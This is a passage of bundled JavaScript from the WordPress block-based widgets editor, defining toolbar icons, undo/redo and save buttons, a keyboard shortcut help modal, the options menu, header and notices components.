children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z" }) }); /* harmony default export */ const library_plus = (plus); ;// ./node_modules/@wordpress/icons/build-module/library/list-view.js /** * WordPress dependencies */ const listView = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M3 6h11v1.5H3V6Zm3.5 5.5h11V13h-11v-1.5ZM21 17H10v1.5h11V17Z" }) }); /* harmony default export */ const list_view = (listView); ;// ./node_modules/@wordpress/icons/build-module/library/undo.js /** * WordPress dependencies */ const undo = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18.3 11.7c-.6-.6-1.4-.9-2.3-.9H6.7l2.9-3.3-1.1-1-4.5 5L8.5 16l1-1-2.7-2.7H16c.5 0 .9.2 1.3.5 1 1 1 3.4 1 4.5v.3h1.5v-.2c0-1.5 0-4.3-1.5-5.7z" }) }); /* harmony default export */ const library_undo = (undo); ;// ./node_modules/@wordpress/icons/build-module/library/redo.js /** * WordPress dependencies */ const redo = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M15.6 6.5l-1.1 1 2.9 3.3H8c-.9 0-1.7.3-2.3.9-1.4 1.5-1.4 4.2-1.4 5.6v.2h1.5v-.3c0-1.1 0-3.5 1-4.5.3-.3.7-.5 1.3-.5h9.2L14.5 15l1.1 1.1 4.6-4.6-4.6-5z" }) }); /* harmony default export */ const library_redo = (redo); ;// ./node_modules/@wordpress/edit-widgets/build-module/components/header/undo-redo/undo.js /** * WordPress dependencies */ function UndoButton(props, ref) { const hasUndo = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).hasUndo(), []); const { undo } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { ...props, ref: ref, icon: !(0,external_wp_i18n_namespaceObject.isRTL)() ? library_undo : library_redo, label: (0,external_wp_i18n_namespaceObject.__)('Undo'), shortcut: external_wp_keycodes_namespaceObject.displayShortcut.primary('z') // If there are no undo levels we don't want to actually disable this // button, because it will remove focus for keyboard users. // See: https://github.com/WordPress/gutenberg/issues/3486 , "aria-disabled": !hasUndo, onClick: hasUndo ? undo : undefined, size: "compact" }); } /* harmony default export */ const undo_redo_undo = ((0,external_wp_element_namespaceObject.forwardRef)(UndoButton)); ;// ./node_modules/@wordpress/edit-widgets/build-module/components/header/undo-redo/redo.js /** * WordPress dependencies */ function RedoButton(props, ref) { const shortcut = (0,external_wp_keycodes_namespaceObject.isAppleOS)() ? external_wp_keycodes_namespaceObject.displayShortcut.primaryShift('z') : external_wp_keycodes_namespaceObject.displayShortcut.primary('y'); const hasRedo = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).hasRedo(), []); const { redo } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { ...props, ref: ref, icon: !(0,external_wp_i18n_namespaceObject.isRTL)() ? library_redo : library_undo, label: (0,external_wp_i18n_namespaceObject.__)('Redo'), shortcut: shortcut // If there are no undo levels we don't want to actually disable this // button, because it will remove focus for keyboard users. // See: https://github.com/WordPress/gutenberg/issues/3486 , "aria-disabled": !hasRedo, onClick: hasRedo ? redo : undefined, size: "compact" }); } /* harmony default export */ const undo_redo_redo = ((0,external_wp_element_namespaceObject.forwardRef)(RedoButton)); ;// ./node_modules/@wordpress/edit-widgets/build-module/components/header/document-tools/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function DocumentTools() { const isMediumViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium'); const { isInserterOpen, isListViewOpen, inserterSidebarToggleRef, listViewToggleRef } = (0,external_wp_data_namespaceObject.useSelect)(select => { const { isInserterOpened, getInserterSidebarToggleRef, isListViewOpened, getListViewToggleRef } = unlock(select(store_store)); return { isInserterOpen: isInserterOpened(), isListViewOpen: isListViewOpened(), inserterSidebarToggleRef: getInserterSidebarToggleRef(), listViewToggleRef: getListViewToggleRef() }; }, []); const { setIsInserterOpened, setIsListViewOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store_store); const toggleListView = (0,external_wp_element_namespaceObject.useCallback)(() => setIsListViewOpened(!isListViewOpen), [setIsListViewOpened, isListViewOpen]); const toggleInserterSidebar = (0,external_wp_element_namespaceObject.useCallback)(() => setIsInserterOpened(!isInserterOpen), [setIsInserterOpened, isInserterOpen]); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.NavigableToolbar, { className: "edit-widgets-header-toolbar", "aria-label": (0,external_wp_i18n_namespaceObject.__)('Document tools'), variant: "unstyled", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarItem, { ref: inserterSidebarToggleRef, as: external_wp_components_namespaceObject.Button, className: "edit-widgets-header-toolbar__inserter-toggle", variant: "primary", isPressed: isInserterOpen, onMouseDown: event => { event.preventDefault(); }, onClick: toggleInserterSidebar, icon: library_plus /* translators: button label text should, if possible, be under 16 characters. */, label: (0,external_wp_i18n_namespaceObject._x)('Block Inserter', 'Generic label for block inserter button'), size: "compact" }), isMediumViewport && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarItem, { as: undo_redo_undo }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarItem, { as: undo_redo_redo }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarItem, { as: external_wp_components_namespaceObject.Button, className: "edit-widgets-header-toolbar__list-view-toggle", icon: list_view, isPressed: isListViewOpen /* translators: button label text should, if possible, be under 16 characters. */, label: (0,external_wp_i18n_namespaceObject.__)('List View'), onClick: toggleListView, ref: listViewToggleRef, size: "compact" })] })] }); } /* harmony default export */ const document_tools = (DocumentTools); ;// ./node_modules/@wordpress/edit-widgets/build-module/components/save-button/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function SaveButton() { const { hasEditedWidgetAreaIds, isSaving } = (0,external_wp_data_namespaceObject.useSelect)(select => { const { getEditedWidgetAreas, isSavingWidgetAreas } = select(store_store); return { hasEditedWidgetAreaIds: getEditedWidgetAreas()?.length > 0, isSaving: isSavingWidgetAreas() }; }, []); const { saveEditedWidgetAreas } = (0,external_wp_data_namespaceObject.useDispatch)(store_store); const isDisabled = isSaving || !hasEditedWidgetAreaIds; return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { variant: "primary", isBusy: isSaving, "aria-disabled": isDisabled, onClick: isDisabled ? undefined : saveEditedWidgetAreas, size: "compact", children: isSaving ? (0,external_wp_i18n_namespaceObject.__)('Saving…') : (0,external_wp_i18n_namespaceObject.__)('Update') }); } /* harmony default export */ const save_button = (SaveButton); ;// ./node_modules/@wordpress/icons/build-module/library/more-vertical.js /** * WordPress dependencies */ const moreVertical = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z" }) }); /* harmony default export */ const more_vertical = (moreVertical); ;// ./node_modules/@wordpress/icons/build-module/library/external.js /** * WordPress dependencies */ const external = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z" }) }); /* harmony default export */ const library_external = (external); ;// ./node_modules/@wordpress/edit-widgets/build-module/components/keyboard-shortcut-help-modal/config.js /** * WordPress dependencies */ const textFormattingShortcuts = [{ keyCombination: { modifier: 'primary', character: 'b' }, description: (0,external_wp_i18n_namespaceObject.__)('Make the selected text bold.') }, { keyCombination: { modifier: 'primary', character: 'i' }, description: (0,external_wp_i18n_namespaceObject.__)('Make the selected text italic.') }, { keyCombination: { modifier: 'primary', character: 'k' }, description: (0,external_wp_i18n_namespaceObject.__)('Convert the selected text into a link.') }, { keyCombination: { modifier: 'primaryShift', character: 'k' }, description: (0,external_wp_i18n_namespaceObject.__)('Remove a link.') }, { keyCombination: { character: '[[' }, description: (0,external_wp_i18n_namespaceObject.__)('Insert a link to a post or page.') }, { keyCombination: { modifier: 'primary', character: 'u' }, description: (0,external_wp_i18n_namespaceObject.__)('Underline the selected text.') }, { keyCombination: { modifier: 'access', character: 'd' }, description: (0,external_wp_i18n_namespaceObject.__)('Strikethrough the selected text.') }, { keyCombination: { modifier: 'access', character: 'x' }, description: (0,external_wp_i18n_namespaceObject.__)('Make the selected text inline code.') }, { keyCombination: { modifier: 'access', character: '0' }, aliases: [{ modifier: 'access', character: '7' }], description: (0,external_wp_i18n_namespaceObject.__)('Convert the current heading to a paragraph.') }, { keyCombination: { modifier: 'access', character: '1-6' }, description: (0,external_wp_i18n_namespaceObject.__)('Convert the current paragraph or heading to a heading of level 1 to 6.') }, { keyCombination: { modifier: 'primaryShift', character: 'SPACE' }, description: (0,external_wp_i18n_namespaceObject.__)('Add non breaking space.') }]; ;// ./node_modules/@wordpress/edit-widgets/build-module/components/keyboard-shortcut-help-modal/shortcut.js /** * WordPress dependencies */ function KeyCombination({ keyCombination, forceAriaLabel }) { const shortcut = keyCombination.modifier ? external_wp_keycodes_namespaceObject.displayShortcutList[keyCombination.modifier](keyCombination.character) : keyCombination.character; const ariaLabel = keyCombination.modifier ? external_wp_keycodes_namespaceObject.shortcutAriaLabel[keyCombination.modifier](keyCombination.character) : keyCombination.character; const shortcuts = Array.isArray(shortcut) ? shortcut : [shortcut]; return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("kbd", { className: "edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination", "aria-label": forceAriaLabel || ariaLabel, children: shortcuts.map((character, index) => { if (character === '+') { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.Fragment, { children: character }, index); } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("kbd", { className: "edit-widgets-keyboard-shortcut-help-modal__shortcut-key", children: character }, index); }) }); } function Shortcut({ description, keyCombination, aliases = [], ariaLabel }) { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-widgets-keyboard-shortcut-help-modal__shortcut-description", children: description }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "edit-widgets-keyboard-shortcut-help-modal__shortcut-term", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(KeyCombination, { keyCombination: keyCombination, forceAriaLabel: ariaLabel }), aliases.map((alias, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(KeyCombination, { keyCombination: alias, forceAriaLabel: ariaLabel }, index))] })] }); } /* harmony default export */ const keyboard_shortcut_help_modal_shortcut = (Shortcut); ;// ./node_modules/@wordpress/edit-widgets/build-module/components/keyboard-shortcut-help-modal/dynamic-shortcut.js /** * WordPress dependencies */ /** * Internal dependencies */ function DynamicShortcut({ name }) { const { keyCombination, description, aliases } = (0,external_wp_data_namespaceObject.useSelect)(select => { const { getShortcutKeyCombination, getShortcutDescription, getShortcutAliases } = select(external_wp_keyboardShortcuts_namespaceObject.store); return { keyCombination: getShortcutKeyCombination(name), aliases: getShortcutAliases(name), description: getShortcutDescription(name) }; }, [name]); if (!keyCombination) { return null; } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(keyboard_shortcut_help_modal_shortcut, { keyCombination: keyCombination, description: description, aliases: aliases }); } /* harmony default export */ const dynamic_shortcut = (DynamicShortcut); ;// ./node_modules/@wordpress/edit-widgets/build-module/components/keyboard-shortcut-help-modal/index.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ const ShortcutList = ({ shortcuts }) => /*#__PURE__*/ /* * Disable reason: The `list` ARIA role is redundant but * Safari+VoiceOver won't announce the list otherwise. */ /* eslint-disable jsx-a11y/no-redundant-roles */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { className: "edit-widgets-keyboard-shortcut-help-modal__shortcut-list", role: "list", children: shortcuts.map((shortcut, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", { className: "edit-widgets-keyboard-shortcut-help-modal__shortcut", children: typeof shortcut === 'string' ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dynamic_shortcut, { name: shortcut }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(keyboard_shortcut_help_modal_shortcut, { ...shortcut }) }, index)) }) /* eslint-enable jsx-a11y/no-redundant-roles */; const ShortcutSection = ({ title, shortcuts, className }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("section", { className: dist_clsx('edit-widgets-keyboard-shortcut-help-modal__section', className), children: [!!title && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { className: "edit-widgets-keyboard-shortcut-help-modal__section-title", children: title }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShortcutList, { shortcuts: shortcuts })] }); const ShortcutCategorySection = ({ title, categoryName, additionalShortcuts = [] }) => { const categoryShortcuts = (0,external_wp_data_namespaceObject.useSelect)(select => { return select(external_wp_keyboardShortcuts_namespaceObject.store).getCategoryShortcuts(categoryName); }, [categoryName]); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShortcutSection, { title: title, shortcuts: categoryShortcuts.concat(additionalShortcuts) }); }; function KeyboardShortcutHelpModal({ isModalActive, toggleModal }) { (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/edit-widgets/keyboard-shortcuts', toggleModal, { bindGlobal: true }); if (!isModalActive) { return null; } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Modal, { className: "edit-widgets-keyboard-shortcut-help-modal", title: (0,external_wp_i18n_namespaceObject.__)('Keyboard shortcuts'), onRequestClose: toggleModal, children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShortcutSection, { className: "edit-widgets-keyboard-shortcut-help-modal__main-shortcuts", shortcuts: ['core/edit-widgets/keyboard-shortcuts'] }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShortcutCategorySection, { title: (0,external_wp_i18n_namespaceObject.__)('Global shortcuts'), categoryName: "global" }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShortcutCategorySection, { title: (0,external_wp_i18n_namespaceObject.__)('Selection shortcuts'), categoryName: "selection" }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShortcutCategorySection, { title: (0,external_wp_i18n_namespaceObject.__)('Block shortcuts'), categoryName: "block", additionalShortcuts: [{ keyCombination: { character: '/' }, description: (0,external_wp_i18n_namespaceObject.__)('Change the block type after adding a new paragraph.'), /* translators: The forward-slash character. e.g. '/'. */ ariaLabel: (0,external_wp_i18n_namespaceObject.__)('Forward-slash') }] }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShortcutSection, { title: (0,external_wp_i18n_namespaceObject.__)('Text formatting'), shortcuts: textFormattingShortcuts }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ShortcutCategorySection, { title: (0,external_wp_i18n_namespaceObject.__)('List View shortcuts'), categoryName: "list-view" })] }); } ;// ./node_modules/@wordpress/edit-widgets/build-module/components/more-menu/tools-more-menu-group.js /** * WordPress dependencies */ const { Fill: ToolsMoreMenuGroup, Slot } = (0,external_wp_components_namespaceObject.createSlotFill)('EditWidgetsToolsMoreMenuGroup'); ToolsMoreMenuGroup.Slot = ({ fillProps }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Slot, { fillProps: fillProps, children: fills => fills.length > 0 && fills }); /* harmony default export */ const tools_more_menu_group = (ToolsMoreMenuGroup); ;// ./node_modules/@wordpress/edit-widgets/build-module/components/more-menu/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function MoreMenu() { const [isKeyboardShortcutsModalActive, setIsKeyboardShortcutsModalVisible] = (0,external_wp_element_namespaceObject.useState)(false); const toggleKeyboardShortcutsModal = () => setIsKeyboardShortcutsModalVisible(!isKeyboardShortcutsModalActive); (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/edit-widgets/keyboard-shortcuts', toggleKeyboardShortcutsModal); const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium'); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropdownMenu, { icon: more_vertical, label: (0,external_wp_i18n_namespaceObject.__)('Options'), popoverProps: { placement: 'bottom-end', className: 'more-menu-dropdown__content' }, toggleProps: { tooltipPosition: 'bottom', size: 'compact' }, children: onClose => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [isLargeViewport && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject._x)('View', 'noun'), children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_preferences_namespaceObject.PreferenceToggleMenuItem, { scope: "core/edit-widgets", name: "fixedToolbar", label: (0,external_wp_i18n_namespaceObject.__)('Top toolbar'), info: (0,external_wp_i18n_namespaceObject.__)('Access all block and document tools in a single place'), messageActivated: (0,external_wp_i18n_namespaceObject.__)('Top toolbar activated'), messageDeactivated: (0,external_wp_i18n_namespaceObject.__)('Top toolbar deactivated') }) }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject.__)('Tools'), children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, { onClick: () => { setIsKeyboardShortcutsModalVisible(true); }, shortcut: external_wp_keycodes_namespaceObject.displayShortcut.access('h'), children: (0,external_wp_i18n_namespaceObject.__)('Keyboard shortcuts') }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_preferences_namespaceObject.PreferenceToggleMenuItem, { scope: "core/edit-widgets", name: "welcomeGuide", label: (0,external_wp_i18n_namespaceObject.__)('Welcome Guide') }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuItem, { role: "menuitem", icon: library_external, href: (0,external_wp_i18n_namespaceObject.__)('https://wordpress.org/documentation/article/block-based-widgets-editor/'), target: "_blank", rel: "noopener noreferrer", children: [(0,external_wp_i18n_namespaceObject.__)('Help'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { as: "span", children: /* translators: accessibility text */ (0,external_wp_i18n_namespaceObject.__)('(opens in a new tab)') })] }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(tools_more_menu_group.Slot, { fillProps: { onClose } })] }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject.__)('Preferences'), children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_preferences_namespaceObject.PreferenceToggleMenuItem, { scope: "core/edit-widgets", name: "keepCaretInsideBlock", label: (0,external_wp_i18n_namespaceObject.__)('Contain text cursor inside block'), info: (0,external_wp_i18n_namespaceObject.__)('Aids screen readers by stopping text caret from leaving blocks.'), messageActivated: (0,external_wp_i18n_namespaceObject.__)('Contain text cursor inside block activated'), messageDeactivated: (0,external_wp_i18n_namespaceObject.__)('Contain text cursor inside block deactivated') }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_preferences_namespaceObject.PreferenceToggleMenuItem, { scope: "core/edit-widgets", name: "themeStyles", info: (0,external_wp_i18n_namespaceObject.__)('Make the editor look like your theme.'), label: (0,external_wp_i18n_namespaceObject.__)('Use theme styles') }), isLargeViewport && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_preferences_namespaceObject.PreferenceToggleMenuItem, { scope: "core/edit-widgets", name: "showBlockBreadcrumbs", label: (0,external_wp_i18n_namespaceObject.__)('Display block breadcrumbs'), info: (0,external_wp_i18n_namespaceObject.__)('Shows block breadcrumbs at the bottom of the editor.'), messageActivated: (0,external_wp_i18n_namespaceObject.__)('Display block breadcrumbs activated'), messageDeactivated: (0,external_wp_i18n_namespaceObject.__)('Display block breadcrumbs deactivated') })] })] }) }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(KeyboardShortcutHelpModal, { isModalActive: isKeyboardShortcutsModalActive, toggleModal: toggleKeyboardShortcutsModal })] }); } ;// ./node_modules/@wordpress/edit-widgets/build-module/components/header/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function Header() { const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium'); const blockToolbarRef = (0,external_wp_element_namespaceObject.useRef)(); const { hasFixedToolbar } = (0,external_wp_data_namespaceObject.useSelect)(select => ({ hasFixedToolbar: !!select(external_wp_preferences_namespaceObject.store).get('core/edit-widgets', 'fixedToolbar') }), []); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "edit-widgets-header", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "edit-widgets-header__navigable-toolbar-wrapper", children: [isLargeViewport && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h1", { className: "edit-widgets-header__title", children: (0,external_wp_i18n_namespaceObject.__)('Widgets') }), !isLargeViewport && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { as: "h1", className: "edit-widgets-header__title", children: (0,external_wp_i18n_namespaceObject.__)('Widgets') }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(document_tools, {}), hasFixedToolbar && isLargeViewport && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "selected-block-tools-wrapper", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockToolbar, { hideDragHandle: true }) }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Popover.Slot, { ref: blockToolbarRef, name: "block-toolbar" })] })] }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "edit-widgets-header__actions", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(pinned_items.Slot, { scope: "core/edit-widgets" }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(save_button, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MoreMenu, {})] })] }) }); } /* harmony default export */ const header = (Header); ;// ./node_modules/@wordpress/edit-widgets/build-module/components/notices/index.js /** * WordPress dependencies */ // Last three notices. Slices from the tail end of the list. const MAX_VISIBLE_NOTICES = -3; function Notices() { const { removeNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store); const { notices } = (0,external_wp_data_namespaceObject.useSelect)(select => { return { notices: select(external_wp_notices_namespaceObject.store).getNotices() }; }, []); const dismissibleNotices = notices.filter(({ isDismissible, type }) => isDismissible && type === 'default'); const nonDismissibleNotices = notices.filter(({ isDismissible, type }) => !isDismissible && type === 'default'); const snackbarNotices = notices.filter(({ type }) => type === 'snackbar').slice(MAX_VISIBLE_NOTICES); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.NoticeList, { notices: nonDismissibleNotices, className: "edit-widgets-notices__pinned" }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.NoticeList, { notices: dismissibleNotices, className: "edit-widgets-notices__dismissible", onRemove: removeNotice }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SnackbarList, { notices: snackbarNotices, className: "edit-widgets-notices__snackbar", onRemove: removeNotice })] }); } /* harmony default export */ const notices = (Notices); ;// ./node_modules/@wordpress/edit-widgets/build-module/components/widget-areas-block-editor-content/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function WidgetAreasBlockEditorContent({ blockEditorSettings }) { const hasThemeStyles = (0,external_wp_data_namespaceObject.useSelect)(select => !!select(external_wp_preferences_namespaceObject.store).get('core/edit-widgets', 'themeStyles'), []); const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('medium'); const styles = (0,external_wp_element_namespaceObject.useMemo)(() => { return hasThemeStyles ? blockEditorSettings.styles : []; }, [blockEditorSettings, hasThemeStyles]); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "edit-widgets-block-editor", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(notices, {}), !isLargeViewport && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockToolbar, { hideDragHandle: true }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockTools, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(keyboard_shortcuts, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableEditorStyles, { styles: styles, scope: ":where(.editor-styles-wrapper)" }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockSelectionClearer, { children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.WritingFlow, { children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockList, { className: "edit-widgets-main-block-list" }) }) })] })] }); } ;// ./node_modules/@wordpress/edit-widgets/build-module/hooks/use-widget-library-insertion-point.js /** * WordPress dependencies */ /** * Internal dependencies */ const useWidgetLibraryInsertionPoint = () => { const firstRootId = (0,external_wp_data_namespaceObject.useSelect)(select => { // Default to the first widget area const { getEntityRecord } = select(external_wp_coreData_namespaceObject.store); const widgetAreasPost = getEntityRecord(KIND, POST_TYPE, buildWidgetAreasPostId()); return widgetAreasPost?.blocks[0]?.clientId; }, []); return (0,external_wp_data_namespaceObject.useSelect)(select => { const { getBlockRootClientId, getBlockSelectionEnd, getBlockOrder, getBlockIndex } = select(external_wp_blockEditor_namespaceObject.store); const insertionPoint = select(store_store).__experimentalGetInsertionPoint(); // 